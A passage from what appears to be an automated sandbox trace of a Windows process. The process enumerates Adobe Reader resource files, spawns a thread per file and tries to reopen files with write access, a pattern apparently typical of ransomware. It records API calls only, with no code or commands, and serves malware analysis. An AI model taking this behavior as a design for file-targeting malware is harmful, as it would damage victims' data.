_Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.918] wcscat (in: _Dest=0x12c75f98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.918] wcscat (in: _Dest=0x12c75f98, _Source="UniKS-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H" [0171.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac0 [0171.919] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-V", cAlternateFileName="UNIKS-~1")) returned 1 [0171.919] wcscmp (_String1="UniKS-UTF16-V", _String2=".") returned 1 [0171.919] wcscmp (_String1="UniKS-UTF16-V", _String2="..") returned 1 [0171.919] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c764f0 [0171.919] wcscpy (in: _Dest=0x12c764f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.919] wcscat (in: _Dest=0x12c764f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.919] wcscat (in: _Dest=0x12c764f0, _Source="UniKS-UTF16-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V" [0171.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c764f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1abc [0171.920] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 1 [0171.920] wcscmp (_String1="V", _String2=".") returned 1 [0171.920] wcscmp (_String1="V", _String2="..") returned 1 [0171.920] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0200 [0171.920] wcscpy (in: _Dest=0x8d0200, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0171.920] wcscat (in: _Dest=0x8d0200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0171.920] wcscat (in: _Dest=0x8d0200, _Source="V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V" [0171.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab8 [0171.921] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 0 [0171.922] FindClose (in: hFindFile=0x942a70 | out: hFindFile=0x942a70) returned 1 [0171.922] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9679e8) returned 1 [0171.922] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cff00) returned 1 [0171.922] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c4b8) returned 1 Thread: id = 3544 os_tid = 0x850 [0153.976] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf")) returned 0x20 [0155.406] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf", dwFileAttributes=0x20) returned 0 [0155.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.406] GetLastError () returned 0x5 [0155.406] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf", dwFileAttributes=0x20) returned 0 [0155.406] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c512f8) returned 1 Thread: id = 3545 os_tid = 0x858 [0153.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfd00 [0153.977] wcscpy (in: _Dest=0x8cfd00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0153.977] wcscat (in: _Dest=0x8cfd00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0153.977] wcscat (in: _Dest=0x8cfd00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*" [0153.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x967eb8 [0153.977] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*", lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da090 [0155.404] wcscmp (_String1=".", _String2=".") returned 0 [0155.404] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.405] wcscmp (_String1="..", _String2=".") returned 1 [0155.406] wcscmp (_String1="..", _String2="..") returned 0 [0155.406] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Bold.otf", cAlternateFileName="ADOBEA~2.OTF")) returned 1 [0155.406] wcscmp (_String1="AdobeArabic-Bold.otf", _String2=".") returned 1 [0155.406] wcscmp (_String1="AdobeArabic-Bold.otf", _String2="..") returned 1 [0155.406] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9ae928 [0155.406] wcscpy (in: _Dest=0x9ae928, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0155.406] wcscat (in: _Dest=0x9ae928, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0155.406] wcscat (in: _Dest=0x9ae928, _Source="AdobeArabic-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf" [0158.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ae928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70 [0158.502] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3d9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-BoldItalic.otf", cAlternateFileName="ADOBEA~3.OTF")) returned 1 [0158.503] wcscmp (_String1="AdobeArabic-BoldItalic.otf", _String2=".") returned 1 [0158.503] wcscmp (_String1="AdobeArabic-BoldItalic.otf", _String2="..") returned 1 [0158.503] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97c1a8 [0158.503] wcscpy (in: _Dest=0x97c1a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.503] wcscat (in: _Dest=0x97c1a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.503] wcscat (in: _Dest=0x97c1a8, _Source="AdobeArabic-BoldItalic.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf" [0158.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97c1a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd3c [0158.504] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3dce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Italic.otf", cAlternateFileName="ADOBEA~1.OTF")) returned 1 [0158.504] wcscmp (_String1="AdobeArabic-Italic.otf", _String2=".") returned 1 [0158.504] wcscmp (_String1="AdobeArabic-Italic.otf", _String2="..") returned 1 [0158.504] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x934f00 [0158.504] wcscpy (in: _Dest=0x934f00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.504] wcscat (in: _Dest=0x934f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.504] wcscat (in: _Dest=0x934f00, _Source="AdobeArabic-Italic.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Italic.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Italic.otf" [0158.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64 [0158.505] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Regular.otf", cAlternateFileName="ADOBEA~4.OTF")) returned 1 [0158.505] wcscmp (_String1="AdobeArabic-Regular.otf", _String2=".") returned 1 [0158.505] wcscmp (_String1="AdobeArabic-Regular.otf", _String2="..") returned 1 [0158.505] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9351a0 [0158.506] wcscpy (in: _Dest=0x9351a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.506] wcscat (in: _Dest=0x9351a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.506] wcscat (in: _Dest=0x9351a0, _Source="AdobeArabic-Regular.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Regular.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Regular.otf" [0158.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9351a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38 [0158.507] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10e4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Bold.otf", cAlternateFileName="ADOBEH~4.OTF")) returned 1 [0158.507] wcscmp (_String1="AdobeHebrew-Bold.otf", _String2=".") returned 1 [0158.507] wcscmp (_String1="AdobeHebrew-Bold.otf", _String2="..") returned 1 [0158.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x12c6b4d0 [0158.507] wcscpy (in: _Dest=0x12c6b4d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.507] wcscat (in: _Dest=0x12c6b4d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.507] wcscat (in: _Dest=0x12c6b4d0, _Source="AdobeHebrew-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Bold.otf" [0158.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c6b4d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd34 [0158.508] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-BoldItalic.otf", cAlternateFileName="ADOBEH~1.OTF")) returned 1 [0158.508] wcscmp (_String1="AdobeHebrew-BoldItalic.otf", _String2=".") returned 1 [0158.508] wcscmp (_String1="AdobeHebrew-BoldItalic.otf", _String2="..") returned 1 [0158.508] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97c7d8 [0158.508] wcscpy (in: _Dest=0x97c7d8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.508] wcscat (in: _Dest=0x97c7d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.508] wcscat (in: _Dest=0x97c7d8, _Source="AdobeHebrew-BoldItalic.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-BoldItalic.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-BoldItalic.otf" [0158.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97c7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8 [0158.510] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83575be0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Italic.otf", cAlternateFileName="ADOBEH~2.OTF")) returned 1 [0158.510] wcscmp (_String1="AdobeHebrew-Italic.otf", _String2=".") returned 1 [0158.510] wcscmp (_String1="AdobeHebrew-Italic.otf", _String2="..") returned 1 [0158.510] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x934c60 [0158.510] wcscpy (in: _Dest=0x934c60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.510] wcscat (in: _Dest=0x934c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.510] wcscat (in: _Dest=0x934c60, _Source="AdobeHebrew-Italic.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Italic.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Italic.otf" [0158.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb60 [0158.511] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Regular.otf", cAlternateFileName="ADOBEH~3.OTF")) returned 1 [0158.511] wcscmp (_String1="AdobeHebrew-Regular.otf", _String2=".") returned 1 [0158.511] wcscmp (_String1="AdobeHebrew-Regular.otf", _String2="..") returned 1 [0158.511] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934090 [0158.511] wcscpy (in: _Dest=0x934090, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.511] wcscat (in: _Dest=0x934090, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.511] wcscat (in: _Dest=0x934090, _Source="AdobeHebrew-Regular.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Regular.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Regular.otf" [0158.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd30 [0158.513] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePiStd.otf", cAlternateFileName="ADOBEP~1.OTF")) returned 1 [0158.513] wcscmp (_String1="AdobePiStd.otf", _String2=".") returned 1 [0158.513] wcscmp (_String1="AdobePiStd.otf", _String2="..") returned 1 [0158.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x9abbe0 [0158.513] wcscpy (in: _Dest=0x9abbe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.513] wcscat (in: _Dest=0x9abbe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.513] wcscat (in: _Dest=0x9abbe0, _Source="AdobePiStd.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf" [0158.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9abbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd2c [0158.516] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Bold.otf", cAlternateFileName="ADOBET~1.OTF")) returned 1 [0158.516] wcscmp (_String1="AdobeThai-Bold.otf", _String2=".") returned 1 [0158.516] wcscmp (_String1="AdobeThai-Bold.otf", _String2="..") returned 1 [0158.516] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x12c6b390 [0158.516] wcscpy (in: _Dest=0x12c6b390, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.516] wcscat (in: _Dest=0x12c6b390, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.516] wcscat (in: _Dest=0x12c6b390, _Source="AdobeThai-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Bold.otf" [0158.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, 